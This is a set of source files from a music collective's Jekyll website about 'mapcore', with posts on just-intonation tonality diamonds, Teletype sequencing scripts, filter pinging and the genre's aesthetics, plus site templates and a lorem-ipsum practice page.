construct I don't cast any doubt on its reality._ --- So anyway how about a map of overtones and undertones? | | **1** | **3** | **5** | **7** | **9** | | ----- | ----- | ----- | ----- | ----- | ----- | | **1** | 1 | 3 | 5 | 7 | 9 | | **3** | 1/3 | 1 | 5/3 | 7/3 | 3 | | **5** | 1/5 | 3/5 | 1 | 7/5 | 9/5 | | **7** | 1/7 | 3/7 | 5/7 | 1 | 9/7 | | **9** | 1/9 | 1/3 | 5/9 | 7/9 | 1 | Remember you can freely scale numerators or denominators by two, and your mind will hear the tone as belonging to the same "note", just in a different octave. Here's all those notes in the same octave: | | **1** | **3** | **5** | **7** | **9** | | ----- | ----- | ----- | ----- | ----- | ----- | | **1** | 1 | 3/2 | 5/4 | 7/4 | 9/8 | | **3** | 4/3 | 1 | 5/3 | 7/6 | 3/2 | | **5** | 8/5 | 6/5 | 1 | 7/5 | 9/5 | | **7** | 8/7 | 12/7 | 10/7 | 1 | 9/7 | | **9** | 16/9 | 4/3 | 10/9 | 14/9 | 1 | If you play pitches from this map you'll get... something interesting! It might be musical! It might not! The lower the non-two factors of the numerator and denominator are, the more consonant it'll sound played against 1/1, the tonic. Fractions with matching numerators or denominators will sound more consonant when played against each other. Draw a small polity on the map by picking some fractions, listen, and hear its tension-elevation in the interplay of the fractions against each other. --- ## Teletype Time ![Alan Turing](/assets/content/turing-the-tonality-diamonds-alan.jpg) _<NAME>_ How about... a version of the Music Thing Turing Machine, in Teletype based on these principles? Let's make our first two patterns the numerator and denominator, respectively. Let's have `T` be our counter; we will do something with it in a sec in `M`. Here's some code to output a note of it, both to Just Friends and CV. Using Just Friends, it's in `PLUME` mode, set to sound/sustain and in `RUN` mode. I have this in `$ 4`: ``` Z + 1 % T 6 # Just Friends has six 1-indexed outputs; assign each a step of a pattern J PN 0 % T 6; K PN 1 % T 6 # Make J our numerator, K our denominator W < / J K Z: J * 2 J # Scales the fraction to be "near" the standard JF note W > / J K Z: K * 2 K # Ditto above. JF.TUNE Z J K # Set the output of Just Friends to the fraction we picked # Alternate for any VCO: CV 4 JI J K ``` And here's what's in `$ M` to play this sequence: ``` T % + T 1 6000 # TIME MARCHES ON $ 4 # Remember 4? We call it here. $ 3 # We'll use this in a sec JF.TR Z 1 # We set Z over in 4 to be a JF input number. Ping it here. DEL / M 8: JF.TR 0 0 # Always shut off all the JF outputs after a short time. # Alternate for any VCO: TR.P 4 ``` To be a Turing machine-like, we want some knob to turn to "lock in" patterns we like, or allow variance. But using our map, maybe we'd like to have a directed walk of the space, where we can decide whether to walk uphill (increasing our musical tension by making our fractions less related to each other), or walk downhill (resolving musical tension by relating our fractions to each other more). To walk uphill, `$ 1`: ``` P.N TOSS # Pick a pattern any pattern if it's 0 or 1 P - Z 1 + 1 * 2 % R 5 # Add a random odd number to the pattern at our Z-index ``` To walk downhill, `$ 2`: ``` P.N TOSS # Same deal, pick a pattern. J P % R 6 # Random member IF > J 5: J 1 # Keep the fractions simpler P.N TOSS # Pick a pattern again. P - Z 1 J # Add it back at the Z-index ``` To choose, first put `PARAM.SCALE -100 100` in `$ I`. Then in `$ 3`: ``` J ABS PARAM # Probability of taking an action. K ? < RRAND -99 99 PARAM 1 2 # Which action to take. CCW walks more downhill, CW up. PROB J: $ K # Potentially run the script. ``` You should now have a just intonation arpeggio running out of JF (or `CV 4` and `TR 4`) turing-machine style. Experiment with param knob position. The middle locks your sequence; counter clockwise increases musical tension, and CCW decreases musical tension. I like having it set around 15, and then occasionally turning it CCW to release tension. Careful with that CCW; too-far-too-long and you'll end up sliding down the mountain of musical tension into the sea of all-notes-the-same. With the amount of `JF.RUN` quite `DRUNK`, one path through the map sounds something like this: <audio controls src="/assets/content/turing-the-tonality-diamonds-example.mp3"></audio> --- ## Tonality Diamonds are Forever > These maps have no key, and the pictograms scrawled over the ocean have been meaningless for centuries. > > &mdash; nonverbalpoetry (they/ them) This is where I have been lately, and where I have been able to sketch a map. The maps have no key. The maps have every key, and are made of keys. When I return I hope to find the keys within the map, and explore the effects of your speed on your tonal location. In the meantime, I have learned these islands I've visited are known as the [Tonality Diamonds](https://en.wikipedia.org/wiki/Tonality_diamond), should you want to read more about them. <file_sep>/_pages/netlabel.md --- layout: netlabel title: Netlabel permalink: /netlabel/ --- Venturing across the psychogeography of the soundmap. Microgenres, micropolitics, microlandscapes. Space is treated as the dead, the fixed, the undialectical, the immobile. Time, on the contrary, is richness, fecundity, life, dialectic. We are on a quest for maps which invert this dichotomy — rhythm as an exploration of space rather than time. A moment is a movement; a minute: a mile. Releasing infinity from the palimpsest of our hands. Maps are interim reports, they interpret space in a moment, they do not time travel, they operate on a plane perpendicular to our perception. We, the time-travelers, must look to the future to find maps for today. Now, we attempt to sketch out this kind of territory, these Sapir-Whorf harmonics, capturing whatever we make while unfinding our ways. A virology of timbres as studied through an adversarial network on a MacBook, wet. Psychogeography — how people imagine space — in the colonial context gets deeply embedded and embodied in both the colonizer and the colonized, though not in the same way. The colonial interaction redefines the space for both parties. Maps, in cartographer <NAME>’s estimation, are "interim reports" of a version of these changing definitions, but he is attempting to define space for the post-colonial context, where earlier mappings had defined it for the colonizer. His maps reflect both "real and spectral spaces", in the vein of "deep maps" — a map of a place not divorced from the people who are there, but for those people. The "rational" mapping is the logic of the colonizer and is not rational for the people living the experience of the mapped environment. Maps are a powerful interface between humans and the earth: the map is the representation of man's sense of the world, he had before him and used it for his material needs. The world is defined in this perspective as a world with relative order and contrast, and within that, a topological representation of space in time, from which he can perceive the conditions of his existence, like the thing and the people around him, and the whole Earth as an object of study. A territory that is always already defined — we can't reach it. The effect is like a dream of God, without time — but it is equally defined by our narration. You are in it. A map allows one to think about the location and therefore make oneself believe one exists. It places one there, with an identity and a position within its world and its power. You are put under power by a map that shows your identity. "This," [the Echo Hunter] said, "is my last visit to this valley; it was once a favourite spot of mine, but the presence of man has tainted it." After we had parted about ten minutes, a few discordant notes of his bugle awakened a thousand more discordant echoes, and I never saw him more!<file_sep>/_posts/2021-06-27-2-paracelsus-said.md --- layout: post title: "Paracelsus Said " date: 2021-06-27 content_id: 10 author: "Brian" type: "Theory" ascii: "X" x: 4 y: 10 class: white attributes: ["null"] --- ![Paracelsus Said](/assets/content/paracelsus-said.jpg) ``` they told us not to plug the typewriter-keyboard into the synthesizer. that it would bridge the work-play continuum, we would not survive as a species. but the intervening years wore down our sense of shared language--- what does it mean to survive? must we accept the taxonomic doctrine of species? and who are they? are we they? we had a collection of midi note numbers, each with several decimal places. we prefixed poly- to all concepts. we uncovered the sound of reverse polish notation. the AI responded poorly to the new aesthetic input. drowning in information while starving for wisdom. our poetics frustrated the rationalists, yet we were all bound together with patch cables and leaf litter. paracelsus said "all things are concealed in all." <NAME> said "the invention of the ship was also the invention of the shipwreck." ursula le guin said "the only thing that makes life possible is permanent, intolerable uncertainty; not knowing what comes next." ```<file_sep>/CONTRIBUTING.md all you touch and all you see is all your life will ever be <file_sep>/.github/ISSUE_TEMPLATE/map-corps-issue.md --- name: MAP CORPS ISSUE about: FOR USE ON ALL TECHNICAL AND CONTENT RELATED ISSUES. title: MAP CORPS ISSUE labels: '' assignees: '' --- <file_sep>/_posts/2021-06-26-1-tore-us-not-apart-but-torus-around.md --- layout: post title: "Tore Us Not Apart, But Tore Us Around" date: 2021-06-25 content_id: 8 author: "Tyler" type: "Autofiction" ascii: "*" x: 3 y: 24 class: red attributes: ["mapcore", "exposition"] --- We awoke ensconced in a warm fog. "The Vactrol Mist," someone only half said. For we had each been split in two! --- A kitten meows - STOP! Fre(ez)e time. Capture it. Be present for a single moment and: Imagine the meow, but 3D-printed. It might look something like a crystalline sphere: a dense latticework of self-similar patterns at the core expanding in all directions to the "fuzzy" outer reaches of silence. Come to think of it, the sphere is perhaps more of a torus, for the kitten sits in the center thereby dampening the sound. <iframe src="https://en.wikipedia.org/wiki/Torus#/media/File:De_bruijn_torus_3x3.stl"></iframe> This torus, in this single moment in time represents a single, infinitesimally small slice of the meow. A bit rate of infinity. Now, in your mind, move forward a single, infinitesimally small moment into the future. The torus has changed. Those crystalline structures each swam along their own invisible parabolic vectors. Always away and never null. These structures are made from differing densities of nothing. (Air.) Slice the torus in two, like an onion. Dip the onion in red paint and press it to the wall. Gently though! There are some very fine lines that are very close to one another! Even though this is paint, it is now the sound. Now, in your mind, release time! Watch the red ring dance on the wall as the meow grows in volume. The ring disappears to nothingness as the meow tapers off to silence. Let this blinking meow play in a pleasant loop. Now, see things as they really are. This blinking ring on the wall (that is not the sound (but also is the sound)) is a computer screen. Freezing and releasing time is my thumb on the space-bar key. --- Unfortunately, my thumb was also on the other side of the room. We had been sliced in half, just as audio. Perhaps we had become audio. Indeed, at least one of us was in "AUDIO ONLY" mode just a few moments ago... ![Wave Editing](/assets/content/tore-us-wave.png) > This is the level of abstraction the synthesist must work with if they wish to use their eyes. This is the level of abstraction the synthesist must work with if they wish to use their eyes: a blinking ring on the wall. It is perhaps the most remarkable piece of synesthetic technology in existence. But for some tasks, it is suited not. --- The Vactrol Mist was deepening in hue. The waters of the Great Pacific Garbage Patch were choppy today. White noise foamed all around. Time felt limited, even though time was the same. "To reconstruct ourselves," Trent half said, "we must use OR logic." --- Certain analog sound computers allow for mathematical operations such as SUM, OR, AND. These operations all you to isolate, split, combine, and erase certain geometries of sound and voltage. Destroying sound is easy. But can you heal it? Can you reconstruct the sliced torus meow with its other half? With 100% accuracy? Down to the atomic tip of each fiber of silence? And, when you, finally so confident confident in your spatial precision, when you finally tap your thumb to the space-bar to fre(ez)e time again, will both halves play perfectly in precision? Violence is simple and sudden. Convalescence requires grace. --- I powered up my mapdeck and got to work reconstructing that which tore us not apart, but torus around... ![Cold Mac](/assets/content/tore-us-cold-mac.jpg) <iframe src="https://player.twitch.tv/?video=1068359803&parent=mapcorps.net" class="twitch-iframe" frameborder="0" allowfullscreen="true" scrolling="no"></iframe> <file_sep>/_posts/1970-01-01-1-null.md --- layout: post title: "Null" date: 1970-01-01 content_id: 0 author: "Everyone" type: "Praxis" ascii: "õ" x: 0 y: 0 class: MUL.APIN attributes: ["codex", "treatise", "recipe", "declaration", "magna carta", "mapcore"] --- "I'm a fly on the wall of the house that mapcorps builds, and it feels to me maybe a bit like a map of the House of Leaves, or like each time you open your GPS a different layer is turned on, like one time it shows peak foliage viewing, and another we see the geological composition of surface minerals, then what restaurants are open until midnight, then how slime mold would distribute itself compared to the Interstate Freeway system. I'm super into it. Sending appreciation to y'all." - `@wheelersounds` --- > "Mapcore is whatever you make while finding your way." - `@reg.barkley` --- > "Mapcore: when you stop limiting your slew" - `@scanner_darkly` and ``` mapcore: you need at least 20 characters, but no more than 30. or maybe 31. ``` --- > "I have been thinking about mapcore a lot." Some thoughts from `@nonverbalpoetry`: - If programming your music reveals a bug in your chosen platform, it's mapcore. - Mapcore is anything made on the new MacBook wet. - You can't dance to mapcore, but you can bop to it. - If your rhythum or melody is wonky, because of math, that's mapcore. - "It's a weird interval, but I think it's pretty." - "I swear this patch worked last time I tried it." (The first working patch was not mapcore.) --- # An Attempt to Identify Formal Elements of Mapcore `@tyleretters`: - Traceability: virology of a timbre. - Otherness: Sapir-Whorf harmonics. - Emergence: ...then there were two, and the awareness of two became a third... - Coupling: "Yeah, that variable, `A`? It does six things." - Ibid: In the same place. - Recursive: *insert meta-recursive joke*. --- # The map... `@license`: - ...is some kind of territory. - ...is also an envelope. or maybe a napkin. - ...is disposable, but it leaves a residue on everything around it. - ...didn't crash even though everything else did. - ...is at the center. - ...is off to the side. - ...is what you get when you press the `OTHERWISE` button. and - If you think you have "arrived" it's not really mapcore, because then you don't need a map! --- `@colmkil`: Mapmaking defines something indefineable. Mapmaking is a violent and destructive act, a symbolic act of world creation. What you see on the page is not what it purports to be. It is an act of trickery and magic, crushing an infinitely dimensional space into two or three or maybe four dimensions. It is the creation of an alternate reality, it is storytelling, and in that way it can elide or occlude the truth. But it can also reveal truths otherwise obscured, truths that can be dangerous in the wrong hands. Property lines, border lines, fault lines of all kinds (my fault? your fault). False separations become true separations, truth becomes a thing of the past... "but it says, right here on the page!" Mapmaking, in the hands of time-travelers who know they draw powerful spells on the cracked parchments, is a tool for building utopia. There is no pretention that we are drawing the world as it is — the world simply is, metaphor will never suffice. Let's cast a spell for something else, maps for the people, maps that do not erase us but scribble us into landscape. Doodle me daddy I want to be a gnarled tree in the map of your sanctuary. > mapcore is outside your comfort zone --- # Etymology The term "mapcore" was coined on June 5th, 2021 by `@echophon` and `@swampstinks` during the Islands of Stability performance at [Flash Crash 210605](https://flashcrash.net). Other viable names are: - mapstep - mapwave - maptrap ![Etymology](/assets/content/null-etymology.png) "Map," of course, comes from the [Maps with Trent](https://llllllll.co/t/31528) series. --- # DEL M: $ $ ![DEL M: $ $](/assets/content/null-$$.png) [4 hours, 58 minutes, and 46 seconds](https://www.twitch.tv/videos/1046928056) into Flash Crash, Trent dropped the `DEL M: $ $`. Chat's response could be summed up with this gif: ![ffffffff](/assets/content/null-ffffffff.gif) Chat was quick to realize what was going on: ![Chat Response](/assets/content/null-chat-response.png)<file_sep>/_posts/2021-06-21-1-we-are-the-singularity.md --- layout: post title: "We Are the Singularity" date: 2021-06-21 content_id: 6 author: "Tyler" type: "Autofiction" ascii: ";" x: 4 y: 27 class: red attributes: ["ennui", "anthropocene", "fire", "singularity"] --- Formaldehyde, Finnegan, fermium, fen. I'm trying to apply what I've learned from studying the floating islands all around me in the Great Pacific Garbage Patch. Unlike the sonderous eddies in the Sargasso Sea, this place is undulating and uneasy. My compass spins north, but then ticks counterclockwise with each heartbeat of everyone I love. <audio controls src="/assets/content/we-are-the-singularity.mp3"></audio> Is it possible this reality is coeval with yours? Do you remember the hole in the ozone layer? ![STUXNET](/assets/content/we-are-the-singularity.jpg) I do. It was in the [Weekly Reader](https://en.wikipedia.org/wiki/Weekly_Reader) circa 1995. I can still see the cover - a blood red blister of a sun, smoldering on a horizon. Perhaps above oil rigs. [But perhaps I implanted those arachnids later.](https://www.jacobinmag.com/2021/01/laleh-khalili-book-review-sinews-war-trade-shipping) Forgive me. It was hard to hold onto the facts when I was seven. The biggest thing was some sort of sensation of accomplishment. That we did, in fact, successfully stop the hole in the ozone layer from expanding and destroying everything. It left a deep imprint on me. Then 2001 happened and everything changed. Mapcore confronts both space and time. We plot maps between points in our past and places in our future. The track that accompanies this post sounds like it could have been made 20 years ago by Labradford or Godspeed, but it was done today, here, in 2021, with a mechanical keyboard, a dozen lines of code, six eurorack modules, and some reverb. Yesterday was the solstice. Tonight, the darkness grows and the cartographers must once again map the shadows.<file_sep>/_posts/2021-07-15-1-lets-talk-about-m.md --- layout: post title: "Let's Talk About M" date: 2021-07-15 content_id: 11 author: "Zeke" type: "Praxis" ascii: "M" x: 4 y: 11 class: orange attributes: ["mouth"] --- Advanced Teletype hackers probably (definitely) have a firm grasp of the concepts I'm going to cover, so this is definitely aimed at those folks just getting started, or those folks like me who may be struggling to connect some dots. For other members of the [TT Study Group Discord](https://discord.gg/f5AWwvUkt8), that title may be funny because it is a play on the name of my current thesis/focus of study, which is "Let's Talk About P". Before I get into my topic, I would love to encourage you to engage with other cartographically-minded folks at the [Lines forum](https://llllllll.co). I would also like to thank folks there and in the Discord for all of the help they've given me in understanding Teletype—community is a sacred thing. So, today I'd like to talk about `M`. My understanding of the importance of `M` took some time. (By `M` I'm referring to the Metronome script in each scene on Teletype for those who aren't aware.) In the interest of full-disclosure, I am not a dev and do not take to coding naturally. Sure, I've done some courses on [CodeAcademy](https://codeacademy.com) to explore if that was something I could awaken in myself, but nothing ever took or stuck. I share this because my journey with Teletype has been a labor of love, emphasis on the labor. ☺ I did the excellent [Teletype studies](https://monome.org/docs/teletype/studies-1/) provided by Monome, and the [Just Type studies](https://monome.org/docs/teletype/jt-1/) as well. And I even did them again (because not coder). These are excellent and I highly recommend you check them out. I still reference them when I'm working on a scene. The [Teletype Command](https://monome.org/docs/teletype/manual) sheet is also super-helpful. These will fill in gaps in what I discuss around `M`. --- ## Attowatt's FC210605 Set <iframe width="560" height="315" src="https://www.youtube.com/embed/F-aVx8VQhYw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> I watched the first [Flash Crash](https://flashcrash.net) and had my face melted. Watching those sets gave me the idea to figure out some specific goals/musical maneuvers/tricks with Teletype and I'll share how I achieved them with you all today. These came as a result of several failings and help from my friends—in other words, a good time. For technical context here, I am solely focusing on Teletype + Just Friends (connected via i2c), aka JustType, and Just Friends is in synthesis mode (`JF.MODE 1`) with switches set to Sound/Cycle. I cannot overstate how expansive and creative a sonic landscape one can create and explore with these two modules paired this way. --- > Goal 1: Move the read head of a pattern in tracker so that I could assign the value to a `JF.VOX` command. The ability to grab notes from `P` seemed to me like fire must have to our ancestors — I was fascinated by it, but couldn't figure out how to hack the basic concept. I could make it work manually (hich wasn't what I wanted to do) but I couldn't make the read head of a pattern move on it's own. This is where `M` came in to play, and I have both `@Obakegaku` and `@DesolationJones` to thank for guiding me to this knowledge. I put the following values into the first two columns of tracker or `P`: ``` 0 0 4 3 7 7 12 11 -8 -9 -5 -6 ``` The note in column 1 (or Pattern 0) are values I wanted to pull from the following in `Script 1`: ``` #1 X PN.NEXT 0 JF.VOX 0 N X V 5 ``` This input meant that every time I hit the `F1` key on my keyboard, I would advance the read head of the first column and the value would play through the command `JF.NOTE N X V 5`... but I wanted it to arpeggiate! This is where `M` comes in, and the solution is so simple, I daresay it's elegant. In `M` we put: ``` #M $ 1 ``` That's it! Every beat of the metronome, `M` will call `Script 1`, which will advance and read the playhead of the first pattern and output it via the command `JF.NOTE N X V 5`! I was ecstatic to figure this out! (Note here: arpeggios for JustType really need the time knob turned way down. Like around the `60s` mark.) <audio controls src="/assets/content/lets-talk-about-m.mp3"></audio> This is super simple, but it shows the power of `M`. Use it to call something every beat, or add logic to divide or change probability that `M` will do something on each beat. I have been exploring this concept alone for quite some time. It is JustFun™. --- > Goal 2: Use a knob on Telexi (TXi) to control the BPM of `M`. This is fun. I also think it is like trying to invent a wheel. But it is a wheel I made, so I'm into it. One of my goals with the [TXi expander](https://store.bpcmusic.com/products/telexi) for Teletype was to use the first knob to control BPM. Implementing this was not as clear cut as I thought it would be. Figuring out the code was easy enough by referencing the command sheet, but execution is a different thing. The first thing to do is calibrate the knob and define the ranges you want it to cover. Through trial and error, I arrived at `400` as the low value and `600` as the high value. This gave me a noticeable difference in BPM, but not something that would be super-drastic and make for awkward looks from the dance floor if I over-rotated. To calibrate knob 1 of TXi to only read values in this range, we use the command: ``` TI.PRM MAP 1 400 600 ``` I put this in `Script I` because that is a good place for it. But having this in `I` didn't not mean that `I` could simply change the BPM of `M` by turning the knob. All I've done is change the parameters of the knob. In order to read the value of the knob as the new BPM, we need another command: ``` M TI.PRM 1 ``` This says `M` is now the value of the first knob on TXi, which we've already said will only be a value between `400` and `600`. I put this in `I` and it didn't work like I thought it would. BPM didn't change whenever I turned the knob, but it would change if I turned the knob then hit `F10`, calling `I` manually. So, in the same scene as before, I removed `M TI.PRM 1` from `I` and put it in `Script 1`. Because remember what we have in M? ``` #M $ 1 ``` Every beat, `M` is calling `Script 1`, and if every beat we are telling `M` that it's value is the value of knob 1 on TXi, it will adjust its behavior. Now `Script 1` looks like this: ``` #1 X PN.NEXT 0 JF.NOTE N X V 5 M TI.PRM 1 ``` Now, granted, these changes will have some latency because `Script 1` isn't being called in nanoseconds, but to the ear, it sounds like real-time. Now when I turn the knob on TXi, my BPM changes and I feel like a Super Amadeus. There is so much to expand on from here, and frankly, I would probably give some not-great explanations of `M`, so I will refrain. But you can see from my examples how useful `M` can be in making things that you want to happen, happen. I hope that this is exciting or useful knowledge for you and that you make some magic all your own. `M` is metronome is time. `M` is movement is melody. `M` is magic is mapcore.<file_sep>/_posts/2021-06-22-1-what-is-mapcore-anyway.md --- layout: post title: "What is Mapcore Anyway?" date: 2021-06-22 content_id: 7 author: "Tyler" type: "Theory" ascii: ";" x: 4 y: 29 class: red attributes: ["mapcore", "exposition"] --- Mapcore spawned from the performances at [Flash Crash](https://llllllll.co/t/45273), the ongoing discourse in the [Teletype Study Group](https://discord.gg/PGTj9anf9Q), and the [Maps with Trent](https://llllllll.co/t/31528) series. "Mapcore" is a new microgenre that [we're still trying to understand](https://northern-information.github.io/mapcore/). I'm going to attempt to explain, in plain words, what I understand **the observable** elements mapcore to be. These are: 1. Alive 2. Process 3. Lineage 4. Communal 5. Ostinato 6. Electronics 7. Otherness 8. Emergence 9. Coupling 10. Recursive Metaphysical, emotional, and spiritual aspects of mapcore are for another post. To set context, I wrote a short poem, then we'll get to the observable elements: ``` the mushroom grows where spores land, from wind or bird or snake or hand. but will it dream of something grand, if fiercely held and darkly planned? ``` ## Alive Mapcore was birthed from livecoding performances. It is alive in the way a classical concerto performance is alive. Some setup or even sticky notes may go into the preparation of mapcore. But, I think, mapcore is something that happens, not something that is planned. ## Process Mapcore artists are keenly concerned with process and craft. The order of operations, the sequence of events, the timing of triggers. Indeed, the core instrument of mapcore seems to be the [Teletype](https://monome.org/docs/teletype), a curious artifact described as an "algorithmic ecosystem." Working knowledge of a specialized scripting language - terse enough to call an [esolang](https://esolangs.org/wiki/Esoteric_programming_language) yet rational enough to appeal to a data scientist - is required to use the Teletype. With this language, mapcore artists program the logical flow of electrical voltage turn their instruments into ever-mutating analog computers. This is not science fiction. Someone is doing this right now while their cat is purring beside them. ## Lineage Depending on your vantage point, mapcore can trace a lineage through recognized art movements such as dada, process art, modernism, post-punk, avant-garde, electro-acoustic, techno, and classical. ## Communal > If IDM is solitary-armchair music, then mapcore is library-steps music. If IDM is solitary-armchair music, then mapcore is library-steps music. Simply: mapcore is fun to philosophize and theorycraft. The perfect daydream. In the Magic: The Gathering, there is the game and then there is the metagame: the game about the game. Mapcore is music with a metagame. (Note, unlike Magic, mapcore is not a zero-sum game.) As I said, [we're still trying to understand](https://northern-information.github.io/mapcore/). (And all know we probably never will.) ((Also: Librarystep! There we go. Yet another microgenre! 📚🚶🏿‍♂️)) ## Ostinato "In music, an ostinato is a motif or phrase that persistently repeats in the same musical voice, frequently in the same pitch." &mdash; [Wikipedia](https://en.wikipedia.org/wiki/Ostinato) The only formal musical element I'm willing to sign off on at this stage is ostinato. Given that most mapcore works are performed and coded live, ostinato is a crucial element of creating a timeless space for the artist to strategize the next movement. It could be argued that randomization serves a similar role. ## Electronics I know of no mapcore artist that doesn't use electrons as their primary medium. ## Traceability Virology of a timbre. There seems to be a minimalism with mapcore works that rewards attention. Elements are typically intentionally arranged and specifically mutated. ## Otherness Sapir-Whorf harmonics. Mapcore has an element of otherness that is difficult to pin down. I think this is is a result of avant-garde proclivities meticulously filtered through a von Neumann architecture. ## Emergence Simple rules give rise to complex systems. This phenomena is made audible with mapcore. It is simultaneously beatnick psychedelia and distinguished scientifica. ## Coupling > The implications for mapcore are reported occurrences of "chaos theory fractals" where (un)intentionally changing a variable or voltage can throw the entire composition into a new direction. Given the obscene terseness of the Teletype scripting language and the finite set of variables (8 or 12 or 268 or other numbers, depending how you count) a traditionally undesirable software engineering anti-pattern frequently emerges: coupling. Coupling happens when you use one variable to do two things. The implications for mapcore are reported occurrences of "chaos theory fractals" where (un)intentionally changing a variable or voltage can throw the entire composition into a new direction. ## Recursive Recursion is another powerful tool in programs with finite boundaries. Turtles (`@`) all the way down. ## Conclusion Mapcore is electronic process-music made with math, code, and an open mind. <file_sep>/assets/javascript/script.js console.log('script.js loaded. see assets/javascript/script.js');<file_sep>/_pages/further.md --- layout: page title: Further permalink: /further/ --- - [XML FEED](/feed.xml) - [FLASH CRASH](https://flashcrash.net) - [GITHUB](https://github.com/northern-information/mapcorps.net) - [BANDCAMP](https://mapcorps.bandcamp.com) - [STYLEGUIDE](/styleguide) - [.](/assets/images/ai.png) <file_sep>/_posts/2021-06-19-3-we-spend-so-long.md --- layout: post title: "We Spend So Long" date: 2021-06-19 content_id: 3 author: "Trent" type: "Autofiction" ascii: "%" x: 3 y: 13 class: red attributes: ["iridium", "neptunium"] --- We spend so long trying to talk about the thing. We use metaphor & abstraction, and we break it down into questions of "what it is." This always seems to be the entry point, especially in a knobs & cables paradigm, where we silo knowledge about objects and try and understand them by adding together. The problem is the operator `+addition+`, but behaviour in these systems is interactive & multi-modal. Our collective desire is to see the connections of our objects; to imbue these sound entities with greater meaning than they can have in isolation. Communication is the thing of interest, and our cables are the mascots of that interaction. > "...but this is the scientists way of thinking, not the artist or the hacker." The [filter ping](#4) felt like an ideal entry to this way of thinking. Classically we say a filter "subtracts" everything outside of it's passband, but this is the scientists way of thinking, not the artist or the hacker. Today we watched filters whose desire was to ring at their own frequency - every bit of energy we pass to it is captured by the filter, and transmuted into that ringing. A trigger pulse becomes an invitation to ring out. The presence of the input signal mixed in with that ringing is a by-product from the perspective of the filter - a necessary evil. Operating at the edge of stability is where our artistic mind travels - the desire to be on that precipice & explore what comes from the fear & adrenaline & uncertainty. We do it in ourselves, and in our performances, but we also push our instruments there too – the filter right at the point where it's more than just a spectral-subtractor, but less than a droning oscillator. This is a place worth fighting for - the chaotic transition between two states. Requiring both great control & precision to maintain one's footing, while being a place where ambiguity is the only constant.<file_sep>/.github/pull_request_template.md ## This PR... - [ ] changed CONTENT. - [ ] changed TECH. ## Description How many maps have you forgotten?<file_sep>/_posts/2021-06-19-4-filter-ping.md --- layout: post title: "Filter Ping" date: 2021-06-19 content_id: 4 author: "Tyler" type: "Praxis" ascii: "!" x: 5 y: 29 class: red attributes: ["transistor", "filter"] --- This log describes how to create a percussive sound with an envelope and a filter. Any envelope and filter will do. You'll also need a way to trigger the envelope, along with a way to listen to the output of the filter. ![Filter Ping IRL](/assets/content/filter-ping-irl.jpg) --- ### Ingredients 1. Envelope generator 2. Filter 3. Envelope trigger 4. Audio interface --- ### Filter Ping Example 1. Set your envelope to a very short attack. Something between `0ms` and `10ms` should do. Set your decay and/or release (depending on your instrument) to have a smooth curve. ![Filter Envelope IRL](/assets/content/filter-ping-envelope.jpg) 2. Route this envelope's output to the filter's input. (This may feel counter-intuitive as typical use of a filter has the synthesist routing audio-rate signals here.) Route the filter's output to your audio interface so you can hear it. 3. Increase your filter's resonance to the maximum, then dial it back until *just after* it quiets down. 4. Trigger the envelope. It may look like this: ![Modular Example](/assets/content/filter-ping-example.jpg) - **Yellow Cable:** clock output (here randomized) to envelope trigger input. - **Red Cable:** envelope output to filter input. - **Blue Cable:** Filter output (here band pass) to audio interface. And it may sound like this: <audio controls src="/assets/content/filter-ping-example.mp3"></audio> --- ### Advanced Filter Ping Example Following the same concept as before, now add modulation. Here, we use a [Teletype](https://monome.org/docs/teletype) but something like a [Maths](https://www.makenoisemusic.com/modules/maths) or any other envelope generator/follower will suffice. Teletype is standard issue at the University of Maps for its versatility and ability to "self-document" behavior in patch photographs. 1. (Start from the above "Filter Ping" patch.) 2. Send the clock output to a buff mult instead of directly into the envelope input. 3. Route one of the buff mult outputs to the envelope input. 4. Route another buff mult output to Teletype input #1. 5. See photograph for Teletype scene & script implementation. 6. Route Teletype CV #1 output to a modulation target such as filter FM or frequency. It may look like this: ![Modular Advanced Example](/assets/content/filter-ping-advanced-example.jpg) - **White Cable:** clock output (here randomized) to buff mult. - **Green Cable:** clock buff mult to Teletype in #1. - **Grey Cable:** Teletype CV #1 output to filter frequency modulation input. - **Yellow Cable:** clock buff mult to envelope trigger input. - **Red Cable:** envelope output to filter input. - **Blue Cable:** Filter output (here band pass) to audio interface. And it may sound like this: <audio controls src="/assets/content/filter-ping-advanced-example.mp3"></audio> --- ### Conclusion Generating percussive sounds with filter pinging ruptures and problematizes our usual relationship with filters. Filters are tools of subtraction. With this simple electrical "hack" the synthesist instead gives voice to the silencer.<file_sep>/_pages/learning.md --- layout: page title: Learning permalink: /learning/ --- Try creating a PR on this page! Edit the text below: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam tellus nulla, pretium a vestibulum et, gravida eget ipsum. Fusce vitae erat elit. Donec a vehicula elit. Sed malesuada ex id tellus gravida, eu egestas dui euismod. Praesent eget sem id nulla porta cursus. Ut convallis interdum hendrerit. Curabitur viverra enim quis pellentesque semper. Integer tincidunt eget libero non hendrerit. Aliquam ac sapien elit. Vivamus sollicitudin est eget libero egestas aliquam. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Pellentesque iaculis orci a ipsum auctor imperdiet. Mauris tristique mi a volutpat sollicitudin. Quisque fermentum quam quis mauris iaculis, ac gravida risus condimentum. Ut pulvinar pharetra eros ut accumsan. Suspendisse blandit arcu mi, non molestie velit maximus id. Nunc lacinia accumsan magna in dignissim. Nulla vel tristique erat, ut auctor purus. Sed ullamcorper velit sit amet elit gravida sodales. Curabitur faucibus egestas sem in consequat. Aliquam venenatis ante ac massa sodales, nec pellentesque dolor volutpat. Aenean nec sapien eget massa aliquet ultricies. Phasellus et sem mollis, aliquet mauris a, laoreet mauris. Mauris tempor augue et fermentum bibendum. Sed nec tellus tortor. Vivamus in purus at leo interdum consectetur. Fusce molestie neque est, eget cursus ligula mollis interdum. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Maecenas massa elit, tempus at libero id, consectetur porta ex. Praesent ipsum sapien, tempor ac tellus vitae, porta gravida enim. Fusce egestas placerat sem, nec vehicula leo sodales eu. Vestibulum non sodales purus. Donec tempus convallis eros, in fringilla nulla tincidunt eget. Pellentesque aliquet quam ut magna commodo lobortis. Cras ante libero, laoreet mattis lobortis in, pulvinar ac velit. Nulla ipsum neque, cursus at justo eu, vulputate porttitor enim. Nulla a magna id dolor finibus pulvinar. Fusce ut sapien semper, maximus nisi non, tempus sapien. Ut quis nulla ut lorem dignissim rutrum. Quisque quam sem, fringilla ut euismod sed, rhoncus et 